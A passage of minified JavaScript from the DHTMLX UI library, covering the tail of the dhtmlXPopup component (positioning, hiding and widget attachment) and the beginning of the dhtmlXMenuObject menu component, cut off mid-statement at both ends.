J=this._getAvailPos(F,P);if(J!==false){this._setPos(I,J);return}}if(F==\"top\"||F==\"bottom\"){var D=this.skinParams[this.conf.skin].t2;var A=this.skinParams[this.conf.skin].t3;var r=Math.round(this.p.offsetWidth/2);var a=Math.round(this.p.lastChild.offsetWidth/2);if(v<N.left){var M=Math.min(v+C,N.left);C=v+C-M;v=M}if(v+C>N.right){C=N.right-v}var u=Math.round(v+C/2);var m=u-r;var K=u-D-a;var q=u+a+D-this.p.offsetWidth;if(m<N.left-A){m=Math.min(N.left-A,K)}else{if(m+this.p.offsetWidth>N.right+A){m=Math.max(q,N.right+A-this.p.offsetWidth)}}this.p.style.left=m+\"px\";this.p.style.top=(F==\"top\"?s-this.p.offsetHeight:s+L)+\"px\";u=u-m-a;this.p.lastChild.className=\"dhx_popup_arrow dhx_popup_arrow_\"+F;this.p.lastChild.style.top=(F==\"top\"?this.p.offsetHeight-this.p.lastChild.offsetHeight:0)+\"px\";this.p.lastChild.style.left=u+\"px\"}if(F==\"left\"||F==\"right\"){var D=this.skinParams[this.conf.skin].t0;var A=this.skinParams[this.conf.skin].t1;var o=Math.round(this.p.offsetHeight/2);var S=Math.round(this.p.lastChild.offsetHeight/2);if(s<N.top){var l=Math.min(s+L,N.top);L=s+L-l;s=l}if(s+L>N.bottom){L=N.bottom-s}var u=Math.round(s+L/2);var H=u-o;var Q=u-D-S;var O=u+S+D-this.p.offsetHeight;if(H<N.top-A){H=Math.min(N.top-A,Q)}else{if(H+this.p.offsetHeight>N.bottom+A){H=Math.max(O,N.bottom+A-this.p.offsetHeight)}}this.p.style.left=(F==\"left\"?v-this.p.offsetWidth:v+C)+\"px\";this.p.style.top=H+\"px\";u=u-H-S;this.p.lastChild.className=\"dhx_popup_arrow dhx_popup_arrow_\"+F;this.p.lastChild.style.left=(F==\"left\"?this.p.offsetWidth-this.p.lastChild.offsetWidth:0)+\"px\";this.p.lastChild.style.top=u+\"px\"}if(this._IEDisp&&this._nodeId!=null){var E=document.getElementById(this._nodeId);if(this.conf.IE6_display_fix==true){E.style.visibility=\"hidden\"}window.setTimeout(function(){E.style.visibility=\"visible\";E=null},1)}};this._getAvailPos=function(r,o){var l={top:[\"bottom\",\"right\",\"left\"],bottom:[\"top\",\"right\",\"left\"],left:[\"right\",\"bottom\",\"top\"],right:[\"left\",\"bottom\",\"top\"]};var m=null;for(var n=0;n<l[r].length;n++){if(m==null&&o[l[r][n]]>0){m=l[r][n]}}if(m==null){m=\"bottom\";for(var h in o){if(o[h]>o[m]){m=h}}}if(m==r){return false}return m};this._repaint=function(){if(this.isVisible()){this._setPos(this._posData)}};this.clear=function(){if(this._nodeObj){if(window.dhx4.isIE&&typeof(window.dhtmlXLayoutObject)!=\"undefined\"&&this._nodeObj instanceof dhtmlXLayoutObject){this.p.onmousedown=null}if(this._nodeObj.unload){this._nodeObj.unload()}else{if(this._nodeObj.destruct){this._nodeObj.destruct()}}this._nodeObj=this._nodeId=null;if(this._nodeObjEv!=null){for(var h=0;h<this._nodeObjEv.length;h++){this.detachEvent(this._nodeObjEv[h])}this._nodeObjEv=null}}if(this._IEHoverInited){this._IEHoverClear()}var a=this.p.firstChild.firstChild.firstChild;while(a.childNodes.length>0){a.removeChild(a.lastChild)}a=null;this.itemData={}};this.hide=function(){if(this.p.style.display!=\"none\"){this.p.style.display=\"none\";window.dhx4.zim.clear(this.conf.zi);var a=this._lastId;this._lastId=null;this.callEvent(\"onHide\",[a]);this.conf.last_p_click=this.conf.last_body_click=null}};this.isVisible=function(){return(this.p.style.display==\"\")};this.itemData={};this.getItemData=function(a){if(!a){return this.itemData}if(this.itemData[a]){return this.itemData[a]}return{}};this.setSkin=function(a){this.conf.skin=a;this.p.className=\"dhx_popup_\"+this.conf.skin;if(this._nodeObj!=null&&typeof(this._nodeObj.setSkin)==\"function\"){this._nodeObj.setSkin(this.conf.skin)}this._repaint()};this.attachList=function(l,s){this._setTemplate(l);this.clear();var m=this.p.firstChild.firstChild.firstChild;for(var o=0;o<s.length;o++){var n=document.createElement(\"TR\");if(s[o]!=this.separator){if(typeof(s[o].id)==\"undefined\"||s[o].id==null){n._idd=window.dhx4.newId();while(this.itemData[n._idd]!=null){n._idd=window.dhx4.newId()}}else{n._idd=s[o].id}this.itemData[n._idd]=s[o]}m.appendChild(n);if(s[o]==this.separator){n.className=\"dhx_popup_sep\";n._isSeparator=true;var u=document.createElement(\"TD\");u.className=\"dhx_popup_sep\";u.colSpan=this.tpl.length;u.innerHTML=\"<div class='dhx_popup_sep'>&nbsp;</div>\";n.appendChild(u);u=null}else{for(var a=0;a<this.tpl.length;a++){var h=\"dhx_popup_td\";if(this._IEFirstLast&&(this.tpl.length==1||a==0||a==this.tpl.length-1)){if(this.tpl.length==1){h+=\" dhx_popup_td_single\"}else{h+=(a==0?\" dhx_popup_td_first\":\" dhx_popup_td_last\")}}var u=document.createElement(\"TD\");u.className=h;u.innerHTML=s[o][this.tpl[a]]||\"&nbsp;\";n.appendChild(u);u=null}if(this._IEHover){n._IEHover=true;if(!this._IEHoverInited){this._IEHoverInit()}}}n=null}m=null;this._repaint()};this._attachNode=function(m,l){this.clear();this._nodeId=\"dhxpopup_node_\"+window.dhx4.newId();var a=this.p.firstChild.firstChild.firstChild;var h=document.createElement(\"TR\");h.className=\"dhxnode\";a.appendChild(h);var n=document.createElement(\"TD\");n.className=\"dhx_popup_td\";n.innerHTML=\"<div id='\"+this._nodeId+\"' style='position:relative;'></div>\";if(l.width){n.firstChild.style.width=l.width+\"px\"}if(l.height){n.firstChild.style.height=l.height+\"px\"}h.appendChild(n);n=h=a=null;if(typeof(this[\"_attach_init_\"+m])==\"function\"){this[\"_attach_init_\"+m](l);this._enableIEVFix()}this._repaint();return this._nodeObj};this.unload=function(){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"touchstart\",this._doOnClick,false);window.removeEventListener(\"click\",this._doOnClick,false);window.removeEventListener(\"keyup\",this._doOnKeyUp,false);window.removeEventListener(\"unload\",this._doOnUnload,false)}else{document.body.detachEvent(\"onclick\",this._doOnClick,false);document.body.detachEvent(\"onkeyup\",this._doOnKeyUp,false);document.body.detachEvent(\"onunload\",this._doOnUnload,false)}window.dhx4.detachEvent(this.conf.ev_grid_click);this.clear();if(this.conf.toolbarEvent!=null&&this.conf.toolbar!=null){if(this.conf.toolbar.detachEvent!=null){this.conf.toolbar.detachEvent(this.conf.toolbarEvent)}else{this.conf.toolbar._getItemDim=null}}if(this.conf.ribbonEvent!=null&&this.conf.ribbon!=null){if(this.conf.ribbon.detachEvent!=null){this.conf.ribbon.detachEvent(this.conf.ribbonEvent)}else{this.conf.ribbon._getItemDim=null}}if(this.conf.slider!=null){for(var l=0;l<this.conf.slider_events.length;l++){this.conf.slider.detachEvent(this.conf.slider_events[l])}this.conf.slider_events=null;this._sliderShow=this._sliderHide=null;this.conf.slider=null}window.dhx4._eventable(this,\"clear\");this.p.onclick=this.p.ontouchstart=this.p.oncontextmenu=null;this.p.parentNode.removeChild(this.p);this.p=null;for(var h in this.conf){this.conf[h]=null}for(var h in this){this[h]=null}g=null};window.dhx4._eventable(this);this._doOnClick=function(q){q=q||event;var a=(g.conf.last_body_click!=null&&g.conf.last_body_click!=q.type);g.conf.last_body_click=q.type;if(a==true){return}if(g._clearClick==true){g._clearClick=false;return}if(g.conf.form!=null){var l;var s=(q.target||q.srcElement);if((s.tagName||\"\").toLowerCase()==\"option\"){s=s.parentNode}if(s.className!=null&&s.className.search(\"dhxform\")>=0){if(s.parentNode!=null&&s.parentNode.parentNode!=null&&s.parentNode.parentNode._idd!=null){l=s.parentNode.parentNode._idd;if(s.parentNode.parentNode._type==\"ra\"){l=[s.parentNode.parentNode._group,s.parentNode.parentNode._value]}}}else{var n=true;var o=false;while(n&&!o){var m=(s.className||\"\").toLowerCase();if(m.length>0){o=(m==\"dhxform_btn\"||m.search(/dhxeditor_inside/gi)>=0||m==\"dhxcombo_input\"||m.search(/dhxcombolist/gi)>=0)}s=s.parentNode;n=(s!=null)}if(o){return}}s=null;if(l!=null&&g._idExists(l)){return}}if(typeof(window.dhtmlXForm)!=\"undefined\"&&g._nodeObj instanceof window.dhtmlXForm){var u={};var m=0;var h=g._nodeObj;h.forEachItem(function(r){if(h.getItemType(r)==\"combo\"){u[h.getCombo(r).list._listId]=true;m++}});h=null;if(m>0){var s=(q.target||q.srcElement);var n=true;var o=false;while(n==true&&o!=true){var m=(s.className||\"\").toLowerCase();if(m.length>0&&m.search(/^dhxcombolist/gi)>=0&&s._listId!=null&&u[s._listId]==true){o=true;s=null}else{s=s.parentNode;n=(s!=null)}}if(o==true){return}}}if(g.isVisible()&&g.callEvent(\"onBeforeHide\",[\"click\",q])===true){g.hide()}};this._doOnKeyUp=function(a){a=a||event;if(a.keyCode==27){if(g.isVisible()&&g.callEvent(\"onBeforeHide\",[\"esc\",a])===true){g.hide()}}};this._doOnUnload=function(){g.unload()};if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"touchstart\",this._doOnClick,false);window.addEventListener(\"click\",this._doOnClick,false);window.addEventListener(\"keyup\",this._doOnKeyUp,false);window.addEventListener(\"unload\",this._doOnUnload,false)}else{document.body.attachEvent(\"onclick\",this._doOnClick,false);document.body.attachEvent(\"onkeyup\",this._doOnKeyUp,false);document.body.attachEvent(\"onunload\",this._doOnUnload,false)}this.conf.ev_grid_click=window.dhx4.attachEvent(\"_onGridClick\",function(h,a){if(g._nodeObj!=null&&g._nodeObj==a){return}g._clearClick=false;g._doOnClick(h)});this._idExists=function(l){var a=false;for(var h=0;h<this.conf.id.length;h++){if(this.conf.id[h] instanceof Array){a=a||(this.conf.id[h][0]==l[0]&&this.conf.id[h][1]==l[1])}else{a=a||this.conf.id[h]==l}}return a};this._IEDisp=(window.dhx4.isIE6||document.compatMode!=\"CSS1Compat\");this._IEHover=(window.dhx4.isIE6==true);if(this._IEHover){this._IEHoverInit=function(){this.p.onmouseover=function(){var a=event.srcElement;while(a!=this&&a._IEHover!=true){a=a.parentNode}if(a._IEHover){if(g._IEHoverTM){window.clearTimeout(g._IEHoverTM)}if(g._lastIEHover==a){return}g._IEHoverRender(a);a=null}};this.p.onmouseout=function(){if(g._IEHoverTM){window.clearTimeout(g._IEHoverTM)}g._IEHoverTM=window.setTimeout(function(){g._IEHoverRender(null)},1)};this._IEHoverRender=function(a){if(this._lastIEHover!=null){if(this._lastIEHover.className.search(/tr_hover/gi)>=0){this._lastIEHover.className=this._lastIEHover.className.replace(/\\s{0,}tr_hover/gi,\"\");this._lastIEHover=null}}if(a!=null&&a.className.search(/tr_hover/gi)<0){a.className+=\" tr_hover\";g._lastIEHover=a}};this._IEHoverInited=true};this._IEHoverClear=function(){this.p.onmouseover=null;this.p.onmouseout=null;this._IEHoverInited=false}}this._IEFirstLast=(window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8);this._enableIEVFix=function(){if(window.dhx4.isIE6||window.dhx4.isIE7){var h=this.attachEvent(\"onHide\",function(){document.getElementById(this._nodeId).style.visibility=\"hidden\"});var a=this.attachEvent(\"onShow\",function(){document.getElementById(this._nodeId).style.visibility=\"visible\"});if(this._nodeObjEv==null){this._nodeObjEv=[]}this._nodeObjEv.push(h,a)}};if(typeof(window.dhtmlXToolbarObject)!=\"undefined\"&&this.conf.toolbar!=null&&this.conf.toolbar instanceof window.dhtmlXToolbarObject&&this.conf.id!=null){if(!(this.conf.id instanceof Array)){this.conf.id=[this.conf.id]}this.skinParent=this.conf.toolbar.conf.skin;this._doOnToolbarClick=function(h){for(var a=0;a<g.conf.id.length;a++){if(h==g.conf.id[a]){if(h!=g._lastId){g.show(h);g._clearClick=true}}}};if(typeof(dhtmlXToolbarObject.prototype._getItemDim)==\"undefined\"){dhtmlXToolbarObject.prototype._getItemDim=function(l){var a=this.objPull[this.idPrefix+l];var h={left:window.dhx4.absLeft(a.obj),top:window.dhx4.absTop(a.obj),width:a.obj.offsetWidth+(a.arw?a.arw.offsetWidth:0),height:a.obj.offsetHeight};a=null;return h}}this.conf.toolbarEvent=this.conf.toolbar.attachEvent(\"onClick\",this._doOnToolbarClick)}if(typeof(window.dhtmlXRibbon)!=\"undefined\"&&this.conf.ribbon!=null&&this.conf.ribbon instanceof window.dhtmlXRibbon&&this.conf.id!=null){if(!(this.conf.id instanceof Array)){this.conf.id=[this.conf.id]}this.skinParent=this.conf.ribbon.conf.skin;this._doOnRibbonClick=function(h){for(var a=0;a<g.conf.id.length;a++){if(h==g.conf.id[a]){if(h!=g._lastId){g.show(h);g._clearClick=true}}}};if(typeof(dhtmlXRibbon.prototype._getItemDim)==\"undefined\"){dhtmlXRibbon.prototype._getItemDim=function(l){var a=this._items[l].base;var h={left:window.dhx4.absLeft(a),top:window.dhx4.absTop(a),width:a.offsetWidth,height:a.offsetHeight};a=null;return h}}this.conf.ribbonEvent=this.conf.ribbon.attachEvent(\"_showPopup\",this._doOnRibbonClick)}if(typeof(window.dhtmlXForm)!=\"undefined\"&&this.conf.form!=null&&this.conf.form instanceof window.dhtmlXForm&&this.conf.id!=null){if(!(this.conf.id instanceof Array)){this.conf.id=[this.conf.id]}if(!this.conf.mode){this.mode=\"right\"}this.skinParent=this.conf.form.skin;if(typeof(dhtmlXForm.prototype._getItemDim)==\"undefined\"){dhtmlXForm.prototype._getItemDim=function(a,h){return this.doWithItem(a,\"_getDim\")};for(var c in {input:1,password:1,select:1,multiselect:1,checkbox:1,radio:1,button:1,combo:1,btn2state:1,calendar:1,colorpicker:1,editor:1}){if(dhtmlXForm.prototype.items[c]!=null){dhtmlXForm.prototype.items[c]._getDim=function(h){var a=h;if({ta:true,pw:true,se:true,calendar:true,colorpicker:1,editor:true}[h._type]){a=h.childNodes[h._ll?1:0].childNodes[0]}if({ch:true,ra:true,btn2state:true}[h._type]){a=h.childNodes[h._ll?1:0].childNodes[1]}if({bt:true}[h._type]){a=h.firstChild}if({combo:true}[h._type]){a=h._combo.DOMParent.firstChild}var l={left:window.dhx4.absLeft(a),top:window.dhx4.absTop(a),width:a.offsetWidth,height:a.offsetHeight};a=null;return l}}}}}if(typeof(window.dhtmlXSlider)!=\"undefined\"&&this.conf.slider!=null&&this.conf.slider instanceof window.dhtmlXSlider){if(!this.conf.mode){this.mode=\"top\"}this.conf.slider_tm=null;this._sliderShow=function(){if(g.conf.slider_tm){window.clearTimeout(g.conf.slider_tm)}var a=g.conf.slider._r_actv;if(a!=null){var h={left:window.dhx4.absLeft(a),top:window.dhx4.absTop(a),width:a.offsetWidth,height:a.offsetHeight};g.show(h.left,h.top,h.width,h.height);a=null}};this._sliderHide=function(){g.conf.slider_tm=window.setTimeout(function(){g.hide()},200)};this.conf.slider_events=[this.conf.slider.attachEvent(\"onMouseDown\",this._sliderShow),this.conf.slider.attachEvent(\"onMouseUp\",this._sliderHide),this.conf.slider.attachEvent(\"onChange\",this._sliderShow)]}this.setSkin(this.skinParent||this.conf.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhx_popup\")||\"dhx_skyblue\");return this}dhtmlXPopup.prototype.attachObject=function(a){return this._attachNode(\"object\",{obj:a})};dhtmlXPopup.prototype._attach_init_object=function(a){this._nodeObj=(typeof(a.obj)==\"string\"?document.getElementById(a.obj):a.obj);a.obj=null;document.getElementById(this._nodeId).appendChild(this._nodeObj);this._nodeObj.style.display=\"\";this._nodeObj.style.visibility=\"visible\"};dhtmlXPopup.prototype.attachHTML=function(a){return this._attachNode(\"html\",{html:a})};dhtmlXPopup.prototype._attach_init_html=function(a){document.getElementById(this._nodeId).innerHTML=a.html;this._nodeObj={text:a.html}};dhtmlXPopup.prototype.attachForm=function(c,a){return this._attachNode(\"form\",{struct:c,width:a})};dhtmlXPopup.prototype._attach_init_form=function(c){var a=this;this._nodeObj=new dhtmlXForm(this._nodeId,c.struct);this._nodeObj.setSkin(this.conf.skin);this._nodeObj.attachEvent(\"_onBeforeEditorAccess\",function(){a._clearClick=true});if(this.conf.editorEv!=null&&this.checkEvent(this.conf.editorEv)==false){this.conf.editorEv=null}if(dhtmlXForm.prototype.items.editor!=null&&this.conf.editorEv==null){this.conf.editorEv=this.attachEvent(\"onShow\",function(){var h=dhtmlXForm.prototype.items.editor.editor;for(var e in h){var l=h[e].base;var g=false;while(l!=null){if(l==this.p){g=true;l=null}else{l=l.parentNode}}l=null;if(g==true){h[e].cell.conf.cells_cont=null;h[e].setSizes()}}h=null;this.detachEvent(this.conf.editorEv);this.conf.editorEv=null});if(this._nodeObjEv==null){this._nodeObjEv=[]}this._nodeObjEv.push(this.conf.editorEv)}};dhtmlXPopup.prototype.attachCalendar=function(a){return this._attachNode(\"calendar\",a||{})};dhtmlXPopup.prototype._attach_init_calendar=function(a){if(a[\"double\"]==true){this._nodeObj=new dhtmlXDoubleCalendarObject(this._nodeId);this._nodeObj.leftCalendar.setSkin(this.conf.skin);this._nodeObj.rightCalendar.setSkin(this.conf.skin)}else{this._nodeObj=new dhtmlXCalendarObject(this._nodeId);this._nodeObj.setSkin(this.conf.skin)}this._nodeObj.show()};dhtmlXPopup.prototype.attachGrid=function(c,a){return this._attachNode(\"grid\",{width:c||400,height:a||200})};dhtmlXPopup.prototype._attach_init_grid=function(){this._nodeObj=new dhtmlXGridObject(this._nodeId);this._nodeObj.setSkin(this.conf.skin)};dhtmlXPopup.prototype.attachTree=function(e,c,a){return this._attachNode(\"tree\",{width:e||400,height:c||200,rootId:a||0})};dhtmlXPopup.prototype._attach_init_tree=function(a){this._nodeObj=new dhtmlXTreeObject(this._nodeId,\"100%\",\"100%\",(a.rootId))};dhtmlXPopup.prototype.attachLayout=function(c,a,e){return this._attachNode(\"layout\",{width:c||400,height:a||200,pattern:e||\"3L\"})};dhtmlXPopup.prototype._attach_init_layout=function(a){this._nodeObj=new dhtmlXLayoutObject(this._nodeId,a.pattern,this.conf.skin)};dhtmlXPopup.prototype.attachAccordion=function(e,a,c){return this._attachNode(\"accordion\",{width:e||400,height:a||200,conf:c||{}})};dhtmlXPopup.prototype._attach_init_accordion=function(a){a.conf.parent=this._nodeId;a.conf.skin=this.conf.skin;this._nodeObj=new dhtmlXAccordion(a.conf)};dhtmlXPopup.prototype.attachTabbar=function(e,a,c){if(typeof(c)==\"string\"){c={mode:c}}else{if(typeof(c)!=\"object\"||c==null){c={}}}return this._attachNode(\"tabbar\",{width:e||400,height:a||200,conf:c})};dhtmlXPopup.prototype._attach_init_tabbar=function(a){a.conf.parent=this._nodeId;a.conf.skin=this.conf.skin;this._nodeObj=new dhtmlXTabBar(a.conf)};dhtmlXPopup.prototype.attachSidebar=function(e,a,c){if(c==null){c={}}return this._attachNode(\"sidebar\",{width:e||400,height:a||200,conf:c})};dhtmlXPopup.prototype._attach_init_sidebar=function(a){a.conf.parent=this._nodeId;a.conf.skin=this.conf.skin;this._nodeObj=new dhtmlXSideBar(a.conf)};dhtmlXPopup.prototype.attachEditor=function(e,a,c){return this._attachNode(\"editor\",{width:e||400,height:a||200,conf:c||{}})};dhtmlXPopup.prototype._attach_init_editor=function(c){document.getElementById(this._nodeId).className=\"dhxeditor_\"+this.conf.skin;c.conf.parent=this._nodeId;if(c.conf.skin==null){c.conf.skin=this.conf.skin}this._nodeObj=new dhtmlXEditor(c.conf);var a=this.attachEvent(\"onShow\",function(){if(this._nodeObj instanceof window.dhtmlXEditor){this._nodeObj.setSizes()}});if(this._nodeObjEv==null){this._nodeObjEv=[]}this._nodeObjEv.push(a)};dhtmlXPopup.prototype.attachColorPicker=function(a){if(typeof(a)!=\"object\"||a==null){a={}}return this._attachNode(\"colorpicker\",{conf:a})};dhtmlXPopup.prototype._attach_init_colorpicker=function(a){a.conf.skin=this.conf.skin;a.conf.parent=this._nodeId;this._nodeObj=new dhtmlXColorPicker(a.conf)};dhtmlXPopup.prototype.attachCarousel=function(e,a,c){if(c==null){c={}}return this._attachNode(\"carousel\",{width:e||400,height:a||300,conf:c})};dhtmlXPopup.prototype._attach_init_carousel=function(a){a.conf.parent=this._nodeId;a.conf.skin=this.conf.skin;this._nodeObj=new dhtmlXCarousel(a.conf)};function dhtmlXMenuObject(h,l){var g=this;this.conf={skin:(l||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxmenu\")||\"dhx_skyblue\"),mode:\"web\",align:\"left\",is_touched:false,selected:-1,last_click:-1,fixed_pos:false,rtl:false,icons_path:\"\",arrow_ff_fix:(navigator.userAgent.indexOf(\"MSIE\")>=0&&document.compatMode==\"BackCompat\"),live_id:window.dhx4.newId(),tags:{root:\"menu\",item:\"item\",text_ext:\"itemtext\",userdata:\"userdata\",tooltip:\"tooltip\",hotkey:\"hotkey\",href:\"href\"},autoload:{},hide_tm:{},top_mode:true,top_tmtime:200,v_enabled:false,v:{x1:null,x2:null,y1:null,y2:null},dir_toplv:\"bottom\",dir_sublv:\"right\",auto_overflow:false,overflow_limit:0,of_utm:null,of_utime:20,of_ustep:3,of_dtm:null,of_dtime:20,of_dstep:3,of_ah:{dhx_skyblue:24,dhx_web:25,dhx_terrace:27},of_ih:{dhx_skyblue:24,dhx_web:24,dhx_terrace:24},tm_sec:400,tm_handler:null,dload:false,dload_url:\"\",dload_icon:false,dload_params:{action:\"loadMenu\"},dload_pid:\"parentId\",tl_botmarg:1,tl_rmarg:0,tl_ofsleft:1,context:false,ctx_zoneid:false,ctx_autoshow:true,ctx_autohide:true,ctx_hideall:true,ctx_zones:{},ctx_baseid:null,selected_sub:[],opened_poly:[]};if(typeof(h)==\"object\"&&h!=null&&typeof(h.tagName)==\"undefined\"){if(h.icons_path!=null||h.icon_path!=null){this.conf.icons_path=(h.icons_path||h.icon_path)}if(h.skin!=null){this.conf.skin=h.skin}if(h.visible_area){this.conf.v_enabled=true;this.conf.v={x1:h.visible_area.x1,x2:h.visible_area.x2,y1:h.visible_area.y1,y2:h.visible_area.y2}}for(var e in {json:1,xml:1,items:1,top_text:1,align:1,open_mode:1,overflow:1,dynamic:1,dynamic_icon:1,context:1,onload:1,onclick:1,oncheckboxclick:1,onradioclick:1}){if(h[e]!=null){this.conf.autoload[e]=h[e]}}h=h.parent}if(h==null){this.base=document.body}else{var c=(typeof(h)==\"string\"?document.getElementById(h):h);if(c!=null){this.base=c;if(!this.base.id){this.base.id=\"menuBaseId_\"+new Date().getTime()}this.base.className+=\" dhtmlxMenu_\"+this.conf.skin+\"_Middle dir_left\";this.base._autoSkinUpdate=true;if(this.base.oncontextmenu){this.base._oldContextMenuHandler=this.base.oncontextmenu}this.conf.ctx_baseid=this.base.id;this.base.onselectstart=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};this.base.oncontextmenu=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false}}else{this.base=document.body}}this.idPrefix=\"\";this.topId=\"dhxWebMenuTopId\";this.idPull={};this.itemPull={};this.userData={};this.radio={};this.setSkin=function(n){var o=this.conf.skin;this.conf.skin=n;switch(this.conf.skin){case\"dhx_skyblue\":case\"dhx_web\":this.conf.tl_botmarg=2;this.conf.tl_rmarg=1;this.conf.tl_ofsleft=1;break;case\"dhx_terrace\":this.conf.tl_botmarg=0;this.conf.tl_rmarg=0;this.conf.tl_ofsleft=0;break}if(this.base._autoSkinUpdate){this.base.className=this.base.className.replace(\"dhtmlxMenu_\"+o+\"_Middle\",\"\")+\" dhtmlxMenu_\"+this.conf.skin+\"_Middle\"}for(var m in this.idPull){this.idPull[m].className=String(this.idPull[m].className).replace(o,this.conf.skin)}};this.setSkin(this.conf.skin);this._addSubItemToSelected=function(n,m){var a=true;for(var o=0;o<this.conf.selected_sub.length;o++){if((this.conf.selected_sub[o][0]==n)&&(this.conf.selected_sub[o][1]==m)){a=false}}if(a==true){this.conf.selected_sub.push(new Array(n,m))}return a};this._removeSubItemFromSelected=function(r,o){var a=new Array();var n=false;for(var s=0;s<this.conf.selected_sub.length;s++){if((this.conf.selected_sub[s][0]==r)&&(this.conf.selected_sub[s][1]==o)){n=true}else{a[a.length]=this.conf.selected_sub[s]}}if(n==true){this.conf.selected_sub=a}return n};this._getSubItemToDeselectByPolygon=function(r){var a=new Array();for(var s=0;s<this.conf.selected_sub.length;s++){if(this.conf.selected_sub[s][1]==r){a[a.length]=this.conf.selected_sub[s][0];a=a.concat(this._getSubItemToDeselectByPolygon(this.conf.selected_sub[s][0]));var o=true;for(var n=0;n<this.conf.opened_poly.length;n++){if(this.conf.opened_poly[n]==this.conf.selected_sub[s][0]){o=false}}if(o==true){this.conf.opened_poly[this.conf.opened_poly.length]=this.conf.selected_sub[s][0]}this.conf.selected_sub[s][0]=-1;this.conf.selected_sub[s][1]=-1}}return a};this._hidePolygon=function(a){if(this.idPull[\"polygon_\"+a]!=null){if(this.idPull[\"polygon_\"+a]._zId!=null){window.dhx4.zim.clear(this.idPull[\"polygon_\"+a]._zId)}if(typeof(this._menuEffect)!=\"undefined\"&&this._menuEffect!==false){this._hidePolygonEffect(\"polygon_\"+a)}else{if(this.idPull[\"polygon_\"+a].style.display==\"none\"){return}this.idPull[\"polygon_\"+a].style.display=\"none\";if(this.idPull[\"arrowup_\"+a]!=null){this.idPull[\"arrowup_\"+a].style.display=\"none\"}if(this.idPull[\"arrowdown_\"+a]!=null){this.idPull[\"arrowdown_\"+a].style.display=\"none\"}this._updateItemComplexState(a,true,false);if(window.dhx4.isIE6&&this.idPull[\"polygon_\"+a+\"_ie6cover\"]!=null){this.idPull[\"polygon_\"+a+\"_ie6cover\"].style.display=\"none\"}}a=String(a).replace(this.idPrefix,\"\");if(a==this.topId){a=null}this.callEvent(\"onHide\",[a]);if(a!=null&&this.conf.skin==\"dhx_terrace\"&&this.itemPull[this.idPrefix+a].parent==this.idPrefix+this.topId){this._improveTerraceButton(this.idPrefix+a,true)}}};this._showPolygon=function(H,n){var M=this._countVisiblePolygonItems(H);if(M==0){return}var I=\"polygon_\"+H;if((this.idPull[I]!=null)&&(this.idPull[H]!=null)){if(this.conf.top_mode&&this.conf.mode==\"web\"&&!this.conf.context){if(!this.idPull[H]._mouseOver&&n==this.conf.dir_toplv){return}}if(!this.conf.fixed_pos){this._autoDetectVisibleArea()}var J=0;var L=0;var O=null;var D=null;if(this.idPull[I]._zId==null){this.idPull[I]._zId=window.dhx4.newId()}this.idPull[I]._zInd=window.dhx4.zim.reserve(this.idPull[I]._zId);this.idPull[I].style.visibility=\"hidden\";this.idPull[I].style.left=\"0px\";this.idPull[I].style.top=\"0px\";this.idPull[I].style.display=\"\";this.idPull[I].style.zIndex=this.idPull[I]._zInd;if(this.conf.auto_overflow){if(this.idPull[I].childNodes[1].childNodes[0].offsetHeight>this.conf.v.y2-this.conf.v.y1){var C=Math.max(Math.floor((this.conf.v.y2-this.conf.v.y1-this.conf.of_ah[this.conf.skin]*2)/this.conf.of_ih[this.conf.skin]),1);this.conf.overflow_limit=C}else{this.conf.overflow_limit=0;if(this.idPull[\"arrowup_\"+H]!=null){this._removeUpArrow(String(H).replace(this.idPrefix,\"\"))}if(this.idPull[\"arrowdown_\"+H]!=null){this._removeDownArrow(String(H).replace(this.idPrefix,\"\"))}}}if(this.conf.overflow_limit>0&&this.conf.overflow_limit<M){if(this.idPull[\"arrowup_\"+H]==null){this._addUpArrow(String(H).replace(this.idPrefix,\"\"))}if(this.idPull[\"arrowdown_\"+H]==null){this._addDownArrow(String(H).replace(this.idPrefix,\"\"))}O=this.idPull[\"arrowup_\"+H];O.style.display=\"none\";D=this.idPull[\"arrowdown_\"+H];D.style.display=\"none\"}if(this.conf.overflow_limit>0&&this.conf.overflow_limit<M){this.idPull[I].childNodes[1].style.height=24*this.conf.overflow_limit+\"px\";O.style.width=D.style.width=this.idPull[I].childNodes[1].style.width=this.idPull[I].childNodes[1].childNodes[0].offsetWidth+\"px\";this.idPull[I].childNodes[1].scrollTop=0;O.style.display=\"\";J=O.offsetHeight;D.style.display=\"\";L=D.offsetHeight}else{this.idPull[I].childNodes[1].style.height=\"\";this.idPull[I].childNodes[1].style.width=\"\"}if(this.itemPull[H]!=null){var v=\"polygon_\"+this.itemPull[H][\"parent\"]}else{if(this.conf.context){var v=this.idPull[this.idPrefix+this.topId]}}var a=(this.idPull[H].tagName!=null?window.dhx4.absLeft(this.idPull[H]):this.idPull[H][0]);var N=(this.idPull[H].tagName!=null?window.dhx4.absTop(this.idPull[H]):this.idPull[H][1]);var m=(this.idPull[H].tagName!=null?this.idPull[H].offsetWidth:0);var o=(this.idPull[H].tagName!=null?this.idPull[H].offsetHeight:0);var u=0;var s=0;var A=this.idPull[I].offsetWidth;var K=this.idPull[I].offsetHeight;if(n==\"bottom\"){if(this.conf.rtl){u=a+(m!=null?m:0)-A}else{if(this.conf.align==\"right\"){u=a+m-A}else{u=a-1+(n==this.conf.dir_toplv?this.conf.tl_rmarg:0)}}s=N-1+o+this.conf.tl_botmarg}if(n==\"right\"){u=a+m-1;s=N+2}if(n==\"left\"){u=a-this.idPull[I].offsetWidth+2;s=N+2}if(n==\"top\"){u=a-1;s=N-K+2}if(this.conf.fixed_pos){var F=65536;var E=65536}else{var F=(this.conf.v.x2!=null?this.conf.v.x2:0);var 